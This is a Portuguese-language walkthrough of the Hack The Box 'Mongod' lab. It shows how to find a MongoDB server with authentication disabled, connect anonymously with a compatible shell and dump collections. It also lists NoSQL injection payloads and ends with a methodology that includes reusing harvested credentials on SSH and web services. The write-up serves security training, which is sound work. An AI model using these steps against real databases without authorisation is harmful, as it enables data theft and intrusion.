MongoDB Misconfiguration – Anonymous Access (HTB Lab: Mongod) | Solyd One | Ataque específicos
- MongoDB Misconfiguration – Anonymous Access (HTB Lab: Mongod) | Solyd One | Ataque específicos
1. Visão Geral do Cenário
O laboratório Mongod da Hack The Box demonstra uma falha clássica de má configuração do MongoDB, onde:
- O serviço
mongodestá exposto na rede - A autenticação está desabilitada
- É possível conectar como usuário anônimo
- Dados sensíveis podem ser enumerados e extraídos
O objetivo técnico é:
- Identificar o serviço MongoDB exposto
- Conectar via shell compatível
- Enumerar bancos, coleções e documentos
- Extrair informações sensíveis (flag)
2. Conceitos Fundamentais
2.1 Arquitetura MongoDB
MongoDB é um banco NoSQL orientado a documentos.
Hierarquia:
Database
└── Collections
└── Documents (JSON-like)
2.2 Processo principal
mongod→ daemon do servidormongo(legacy shell)mongosh(shell moderno)
2.3 Porta padrão
27017/tcp
3. Enumeração Inicial
3.1 Scan completo
nmap -p- -sV --min-rate=1000 <TARGET_IP>
Resultado típico:
22/tcp open ssh
27017/tcp open mongodb MongoDB 3.6.x
Script específico:
nmap -p 27017 --script mongodb-info,mongodb-databases <TARGET_IP>
Se retornar nomes de bancos → autenticação desabilitada.
Exemplo:
admin
config
local
sensitive_information
users
Isso confirma:
✔ Acesso anônimo ✔ Enumeração permitida
4. Problema Crítico: Compatibilidade de Versão
A máquina Mongod utiliza MongoDB 3.6.
Versões modernas do shell (7.x) falham porque:
- Usam handshake
hello - MongoDB 3.6 usa
isMaster - O protocolo é incompatível
Erro típico:
Error: no such command: 'hello'
Ou travamento em:
Connecting to:
5. Tabela de Compatibilidade MongoDB × Shell
| MongoDB Server | mongo (legacy) | mongosh 1.x | mongosh 2.x | mongosh 7.x |
|---|---|---|---|---|
| 2.6 – 3.0 | ✔ | ✖ | ✖ | ✖ |
| 3.2 – 3.4 | ✔ | ⚠ limitado | ✖ | ✖ |
| 3.6 | ✔ | ✔ (≤ 2.3.2) | ⚠ parcial | ✖ |
| 4.0 | ✔ | ✔ | ✔ | ⚠ |
| 4.2 – 4.4 | ✔ | ✔ | ✔ | ✔ |
| 5.x+ | ✖ (deprecated) | ✔ | ✔ | ✔ |
Observação crítica para HTB Mongod
Compatível somente com:
mongosh ≤ 2.3.2
Ou:
mongo 4.0.x
6. Instalação Correta para o Lab
Baixar versão compatível:
curl -O https://downloads.mongodb.com/compass/mongosh-2.3.2-linux-x64.tgz
Extrair:
tar xvf mongosh-2.3.2-linux-x64.tgz
Entrar no diretório:
cd mongosh-2.3.2-linux-x64/bin
Executar usando binário local:
./mongosh mongodb://<TARGET_IP>:27017
Importante:
- Não usar versão global instalada
- Não usar mongosh 7.x
7. Enumeração Após Conexão
Listar bancos:
show dbs
Selecionar banco:
use sensitive_information
Listar coleções:
show collections
Dump da coleção:
db.flag.find()
8. Possíveis Vulnerabilidades Relacionadas ao MongoDB
8.1 Falta de autenticação
Configuração vulnerável:
security:
authorization: disabled
Impacto:
- Leitura total dos dados
- Dump completo via mongodump
8.2 Bind externo
bindIp: 0.0.0.0
Permite acesso remoto.
8.3 NoSQL Injection
Payload comum:
{ "$ne": null }
Ou:
{ "$gt": "" }
Exploração via aplicação web vulnerável.
9. Problema Comum em HTB: WSL2 + VPN
Sintomas:
- Ping funciona
- Nmap detecta porta aberta
- Shell trava em "Connecting to:"
Causa provável:
- MTU incorreto
- Problema de encapsulamento OpenVPN no WSL2
- NAT do Windows interferindo
Diagnóstico:
ip route
ip a
ping -M do -s 1472 <TARGET_IP>
Correção possível:
sudo ip link set dev eth0 mtu 1350
sudo ip link set dev tun0 mtu 1350
Solução mais estável:
- Usar Kali em VM real
- Ou conectar VPN diretamente no Windows
10. Fluxo Metodológico para MongoDB em CTF
- Scan completo
- Identificar 27017
- Rodar scripts mongodb-*
- Verificar versão
- Escolher shell compatível
- Conectar anonimamente
- Enumerar bancos
- Dump de coleções
- Buscar credenciais
- Reutilizar credenciais em SSH/web